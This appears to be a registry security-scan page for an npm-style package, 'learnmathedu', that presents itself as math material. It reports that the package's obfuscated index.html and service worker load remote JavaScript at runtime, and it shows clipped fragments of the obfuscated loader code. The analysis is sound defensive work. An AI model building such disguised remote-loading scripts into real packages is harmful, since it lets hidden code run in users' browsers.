registry / learnmathedu / 2.1.5

learnmathedu@2.1.5

math

AI Security Review

scanned 4d ago · by lpm-firewall-ai

Opening index.html dynamically loads an obfuscated remote loader; its service worker then imports a remote worker dependency. The exact endpoints are concealed in the packaged artifacts.

Static reason

One or more suspicious static signals were detected.

Trigger

A user serves or opens index.html in a browser.

Impact

The remotely supplied loader can execute JavaScript in the hosted application's browser context.

Mechanism

Obfuscated runtime remote-module and service-worker loading.

Rationale

The remote executable payload chain is concrete, but the packaged source does not establish malicious intent or an install-time compromise. Treat it as a staged payload carrier and warn rather than block.

Evidence

package.jsonindex.htmlsw.jsREADME.md

Decision evidence

public snapshot

AI called this Suspicious at 88.0% confidence as Dangerous Capability with medium false-positive risk.

Evidence for warning

index.html dynamically imports remote loader URLs at page runtime.
sw.js imports a versioned remote worker script at service-worker runtime.
Both executable artifacts are obfuscated, concealing their remote source strings.

Evidence against

package.json has no preinstall, install, postinstall, or prepare hook.
The package contains only static HTML and a service worker; no Node filesystem or process access is present.
README describes the files as a YuriRTC static carrier and its bounded network-state UI.

Behavioral surface

Source

DynamicRequire

Supply chain

HighEntropyStringsMinifiedPossibleObfuscationTrivial

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 42.8 KB of source

Source & flagged code

4 flagged

index.htmlView file

Lines 1-2html

1<!doctype html><html lang=en><head><meta name="_Rrun2ItCv" content="d99c49c416afd1769c81d5693767ead084fde0bedb7fbef96439823212416666"><meta charset=utf-8><meta content="width=device-width,initial-scale=1,viewport-fit=cover" name=viewport><meta content=#8f1558 name=theme-color><meta content=dark name=color-scheme><title>yrneazngurqh</title><style>body,html{height:100%;margin:0;background:#151216}</style></head><body><script type=module>function _0x5e18(_0x11254a,_0x2a2515){_0x11254a=_0x11254a-0x97;const _0x5e41de=_0x5e41();let _0x5e185a=_0x5e41de[_0x11254a];if(_0x5e18['gSiecK']===undefined){var ...

Medium

Dynamic Require

Package source references dynamic require/import behavior.

index.htmlView on unpkg · L1

Medium

Ai Review Evidence

index.html dynamically imports remote loader URLs at page runtime.

index.htmlView on unpkg · L1

Long lines were clipped for display.

sw.jsView file

Lines 1-3javascript

1(function(_0xd4d3c8,_0x35a911){var _0x368429={_0xabd364:0x14d,_0x2a363c:0x139,_0x15bb4b:0x134,_0x225776:0x136,_0x4b4338:0x143,_0x3602ba:0x13b,_0x5f071f:0x142,_0x41007c:0x144,_0x463b4a:0x13b},_0x5c8d1a={_0x5626d9:0x4a},_0x260f59

Source & flagged code

4 flagged · loading source

index.htmlView file

1function _0x5e18(_0x11254a,_0x2a2515){_0x11254a=_0x11254a-0x97;const _0x5e41de=_0x5e41();let _0x5e185a=_0x5e41de[_0x11254a];if(_0x5e18['gSiecK']===undefined){var _0x588715=function...

Medium

Dynamic Require

Package source references dynamic require/import behavior.

index.htmlView on unpkg · L1

1async function importFirst(_0x42b656){const _0x4d7990={_0x27c726:0xbb},_0xe04ff1={_0xb97fa3:0x406};for(const _0x500e76 of _0x42b656){try{return await import(_0x500e76);}catch{}}

Medium

Ai Review Evidence

index.html dynamically imports remote loader URLs at page runtime.

index.htmlView on unpkg · L1

sw.jsView file

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

Findings

1 High4 Medium2 Low

HighObfuscated Payload Loadersw.js

MediumDynamic Requireindex.html

MediumStructural Risk Force Deep Review

MediumAi Review Evidenceindex.html

MediumAi Review Evidencesw.js

LowScripts Present

LowHigh Entropy Strings